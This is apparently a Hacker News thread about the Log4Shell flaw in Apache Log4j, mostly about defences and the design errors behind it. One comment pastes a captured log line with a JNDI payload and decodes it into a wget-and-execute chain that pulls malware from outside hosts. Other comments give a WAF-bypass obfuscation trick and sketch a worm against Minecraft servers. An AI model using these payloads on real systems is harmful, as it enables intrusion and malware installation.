Widespread exploitation of critical remote code execution in Apache Log4j
rapid7.com
rapid7.com
I know it a little old fashion, as explained to me by a customer earlier this year. In the age of cloud, people expect their servers to have a direct internet connection.
It's annoying to work with, but ideally your devices should only be able to reach the internet via a proxy and/or only whitelisted hosts. Understandably there are cases where this just isn't an option, but really do consider if your server truly needs to communicate with the internet at large. Can you use an HTTPS proxy, and just whitelists the required domains? The answer is most often "Yes", it's just a little more work.
If so, there might still be a DNS exfiltration vulnerability even on your tightly controlled setup.
Combined with the WAF bypasses due to recursive expansion, this is going to get worse still.
Exploits like this and the now regular news of packages being replaced with backdoored versions makes me very nervous. Being able to whitelist what outbound connections were aloud would help enormously, even though it would not solve all potential exploits.
Is there a recommended way to do this with a Docker app?
Edit: Should note already use inbound waf like CloudFlare. What I want is something like Little Snitch but for a PAAS deployed app.
You could have test environment where your container run for a few days, before pushing into production on a PAAS. Just run the container on a VM with IPTables and logging. It won’t find everything, some call might only be called on very specific circumstance, but it could find low hanging fruits.
I have been looking through their docs and can’t see anything.
This log4j vulnerability will serve, for me, as yet one more example as to why that's a good idea.
We've frequently build setups where machines are completely isolated, because the requirements do not mention that this software will connect to servers on the internet. When we install the software it then fails to work, because it was never testet in a closed environment. I've seen Java applications fail to boot because they cannot can't pull a XSD from the internet... Why isn't that just bundled? Why do you need to get that a boot time? What is that other server is down?
But you're right, valid firewall opening should not be hard get.
I, like the grandparent poster suggested, prefer to put applications where the developer demands carte blanche access to the Internet via TCP port 443 behind a MiTM proxy and whitelist domains. (I don't do as much to stop DNS-based exfiltration as I should be doing, though. It's probably a good time to revisit that using this vulnerability as a practical justification.)
Source: A colleague of mine who deals with APT all day long.
It is only outdated by proponents of cloud services since IP based filters are difficult to implement and/or require high maintenance.
Otherwise sensible network segmentation and access rules are pretty much one of the best security mechanisms you can implement, far beyond the usual theatre some security products want to sell.
This Github repo was for an older vulnerability[1] (CVE-2019-17571).
> monitor web application logs for evidence of attempts to execute methods from remote codebases (i.e. looking for jndi:ldap strings)
As the templates are interpreted recursively, the payload can easily be obfuscated, e.g. using "${${lower:j}${lower:n}..."[2]. I saw e.g. binaryedge's scanner already use that trick.
[1] https://www.cnblogs.com/nice0e3/p/14531327.html [2] https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j...
On https://logging.apache.org/log4j/2.x/manual/lookups.html it says: "Lookups provide a way to add values to the Log4j configuration at arbitrary places." I think, the person/team that implemented the Lookup feature never indented it to be used outside of the configuration files, which are clearly part of the codebase and therefore trusted. I can fully understand why this is seen as a useful feature.
Then someone else came, saw that there's a useful feature that allows to automatically extend stuff like the request URL in a log message, and embedded that in the log message parser. I don't think this should ever have been implemented, and surely not enabled by default. Even if there was no LDAP remote code execution (ok, we can blame Java for this) or JNDI lookups (which can leak data to the outside), this lets user provided input be used as a query to all the stuff that can be inserted by Lookups (environment vars, request headers, JVM arguments, ...) For example, someone who just has access to the logs can use this to query secrets stored in the environment of the app.
As for JDK 8, numerous outlets are reporting that it is actually Java 8u121 that protects against JNDI remote class loading by default (see release notes https://www.oracle.com/java/technologies/javase/8u121-relnot...). That was released in 2017-01, which was just about five years ago. I think that should save a lot of peoples' bacon, should it not?
Java 8u191 fixed something about an LDAPS timeout in JDNI lookups: https://www.oracle.com/java/technologies/javase/8u191-relnot...
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...
Moreover, they provided a nice test to see, on a particular installation, if any plugins are affected. Judging by the provided link to their issue tracker (https://issues.jenkins.io/browse/JENKINS-67361?jql=labels%20...), there only seem to be a handful of plugins affected, and none appear to be super widely used.
They are responding really well to this, by the way. That blog post is clear and useful information is being added. Kudos to the Jenkins team!
But, at that point, if you've already pulled in a malicious dependency you're probably already screwed by an easier method than this log4j issue.
Somehow ends up installed on ten million completely unmaintained minecraft servers directly connected to the raw internet with no firewalling and not really any sysadmin skills, then chaos ensues.
Umm, I have bad news for you about that one...
First, template libraries have a fundamental drive towards power. A lot of people will talk big about separating the data from the template, but my gosh it's convenient to put for loops in your template, and be able to resolve properties, and before you know it, one feature at a time, your template code is basically as powerful as your local reflection capabilities. Sometimes, as may have happened here, even the people implementing these powerful features do not know how powerful they are. So there's this powerful pull on template libraries to become more and more powerful.
But they're usually written from an assumption of the user of the template having full control over the contents and that nobody is maliciously feeding content to it. It's an assumption that template libraries often start with, as an unspoken and unexamined assumption. Unbeknownst to the template library author, someone out in the world turns out to want templates, because they're so useful and convenient, and the person picking the template library may never consider whether or not the template library they are using matches the security profile they need, because quite often literally nobody at any point of this process is really thinking about that. So it's really easy for someone to grab a templating library that is way too powerful. They're likely to even consider "way too powerful" as a feature.
Second, there is a common mistake made in reflection-type APIs shared by many dynamic languages (dynamic languages have their "reflection-type APIs" simply built in, static languages usually have a library/module/package), and also in this case, Java, whereby there is some API to take some sort of string that identifies a class, and get an instance of it, or whatever the local equivalent is. Unfortunately, this turns anything that can invoke this functionality into arbitrary function execution, and "arbitrary function execution" is often leveragable into "arbitrary code execution" with only a bit more work. Again, this is done because it's really convenient and powerful, but it also means there's this Magic Portal in your language where if something can reach out to that functionality, then it can reach anything in the runtime, or possibly beyond if code can be loaded (which it usually can).
These two things, when combined, create devastating security bugs. Relatedly, overaggressive deserializers can also serve as your gateway into reflection ("my gosh it's convenient to be able to name arbitrary classes and deserialize into instance of them"), which is what Ruby had with its YAML arbitrary code execution a few years back. The combination of "some way into the reflection system" and "a reflection system that allows access to all classes in the system" is deadly.
Taking it one "why" further down, I think developers do not in general understand the interplay between "power" and "restrictions". There's a lot of developers who, given the choice, will always choose power, but in a multi-user world, that means you lose out on some very useful restrictions. A "power programmer" may chafe if they have to work in Go or C or C++ or some other language that doesn't have the built-in "name a class with a string, get an instance" functionality, but having that restriction around turns out to be very useful.
When you add more "power" to anything, you should always flip the question around and consider it from the dual perspective of "what restrictions am I losing in order to obtain this power?" Sometimes it will be nothing you care about, and in that case, go for the power by all means. But sometimes, deliberately putting down the "power" to simply name a class and get an instance means you're putting in a very, very useful guard rail.
(If you think about it, there's almost never a situation where you need to name an arbitrary class. You can almost always instead force some sort of manual registry of such things. Even cases you might think otherwise like "interpreters" you could probably still force manual registration of allowed classes. Only a very privileged interpreter that is very trusted could be allowed to have that power and lose that restriction.)
It is really easy to lose track, in all these moving pieces, of the fact that you've given away too much power.
That was my understanding anyway, someone correct me if I'm wrong.
If you use a vulnerable log4j version to log any user-controlled value (such as a User-Agent header), it's a bad time.
Evidently Minecraft used log4j to log user chat messages, allowing a player on a server to leak other players IP addresses.
In terms of actual threat this exploit could be easily abused to rapidly spread ransomware, cryptominer malware, botnet slave code, and other nasties extremely easily.
You could (devs on twitter have been playing with this) build a script that connects to random servers listed on Shodan and send a message with a payload in it. This payload then executes on both the clients and the server infecting them. Then those clients can have their credentials and server lists used to infect other servers and clients. Considering how many Minecraft servers are just thrown up on old windows machines by people with little to no IT knowledge, I can see this getting out of hand very quickly.
Instead of providing the object directly, the server can provide a JNDI object reference, which (among other things) contains a `classFactoryLocation` attribute specifying an URL where the bytecode of the class of the serialized object can be downloaded. If the class isn’t already present in the client’s codebase, the client proceeds to download it, in order to then be able to deserialize the actual object of interest.
This only works over LDAP, with the intended use-case that enterprises store and organize their code repository as part of their LDAP directory.
log.info("foo: " + untrusted)
Or also: log.info("foo: {}", untrusted)
?No. That was another vulnerability which was for an older version of log4j, end of life 2015. https://www.cvedetails.com/cve/CVE-2019-17571/
Louisiana for example looks vulnerable in at least 6 places.
https://sspweb.lameds.ldh.la.gov/selfservice/selfserviceCont...
Is there some kind of query/search I can do on my own computer to see if any application has integrated log4j?
As to home PCs -- if you're running anything written in Java which logs strings under somebody else's control (email subject lines, to cite one potentially plausible example), well... they might be able to run code on your box.
The direction of the connection isn't relevant. For instance, when you are playing Minecraft and connect to a server, the connection starts from inside your network, but could be used to attack your Minecraft client.
Doesn't exactly cover it. Strings, uh, find a way.
So right to be forgotten, all kinds of tracking laws depending on a mix of who owns the device vs where its geographically located today, and now if you log stuff like user agent strings, someone can send you a very toxic string that causes enormous problems.
The very short term solution is to fix big brother so he can go back to safely watching our every move, the longer term question is how many security problems are you willing to have in order to extensively and permanently track and log people?
There is also an interesting "tree falls in the forest" effect where if you know there will be no professional sysadmin support to debug or fix or work on your minecraft server, why are you making logs, if logging can be exploited just like anything else can be exploited? I worked with a guy in the early internet days whom wanted an old fashioned page every time an exploit came in from China; I asked what is actionable about that, other than they can DDOS his pager and he can't call in an airstrike on them? He disabled his pager notifications, they were of negative net value. We are nearing that point for extensive logging.
Its very hard to use a log exploit on software that doesn't log. So why are so many things logged, that shouldn't be logged because its inconceivable that a pro would ever access the logs or its inherently bad to log that kind of PII for ethical reasons?
User data is historically seen as always the purest of gold nuggets to be hoarded and traded for valuables; reality is sometimes user data is plague blankets and you don't want them. May be nearing a point where "log everything" has a negative value.
Software only increases in complexity over time; complexity means more security problems; at some point "log everything" has too many downsides and not enough upsides. The world's only going to have more "little bobby tables", not fewer.
Certainly the long term solution to millions of minecraft servers logging dangerous packets is to not log at all. There's not a downside.
Here's one from my apache log file
45.137.21.9 - - [11/Dec/2021:02:31:17 +0000] "POST / HTTP/1.1" 301 554 "-" "${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}"
If that were processed with log4J I believe it would decode it, connect to 45.137.21.9 po port 1389, then somehow execute wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh
Which itself downloads wget http://62.210.130.250/web/admin/x86;chmod +x x86;./x86 x86;
wget http://62.210.130.250/web/admin/x86_g;chmod +x x86_g;./x86_g x86_g;
wget http://62.210.130.250/web/admin/x86_64;chmod +x x86_64;./x86_g x86_64;
However as I don't have log4j on the outside it's fine (it gets redirected to https, and then asked for an x509 certificate, which it doesn't provide, so gets dropped)Minecraft logs every message from other players it receives, so all you have to do is type a message and everyone on the server is exploited.
Logger.debug(request)
VulnerableIf you did
Logger.debug("{}", request)
Safe?Reminds me of early days where sending printf directives to friends in chat applications could cause a crash.
Edit: I see some other comments are indicating parameters are also vulnerable. Crazy.
This is why this CVE is so scary - I would imagine the majority of applications using log4j will log out a user-supplied value at some point.
Oh, and WAF rules won't protect you either: https://twitter.com/Rezn0k/status/1469523006015750146
But the underlying bug is because log4j uses the equivalent of printf(userData).
I think this vulnerability should be used as a lesson against the vagaries of the classic Java API design issues that we're now finally starting to turn away from. Having an extensible formatting mechanism is not necessary a bad idea, but the problem with this and so many other "magic" features provided by Java libraries is that they are:
* Opt out, instead of opt-in * Hard to discover - if you don't read the ENTIRE log4j documentation (which is pretty large!), it's hard know that this stuff is happening. * Too inclusive - adding JNDI was a bad idea, but even allowing things like environment variables or JMX Beans to be looked-up wholesale from a non-sanitized message is a bad idea.
The problem is much deeper than log4j really. In hindsight, features like JNDI, RMI, and most of all Java Serialization should have never been part of Java in the first place.
[1] LOG4J2-2109: https://issues.apache.org/jira/browse/LOG4J2-2109
[2] LOG4J2-905: https://issues.apache.org/jira/browse/LOG4J2-905
This will trigger even if you're doing it yourself because log4j also keeps recursively expanding macros in the log string until no more are found. So parameterizing your log statements isn't a defense against this the way parameterizing your SQL statements would be for SQL injection.
this is insane behaviour
Both Minecraft servers and clients are vulnerable to chat messages with them.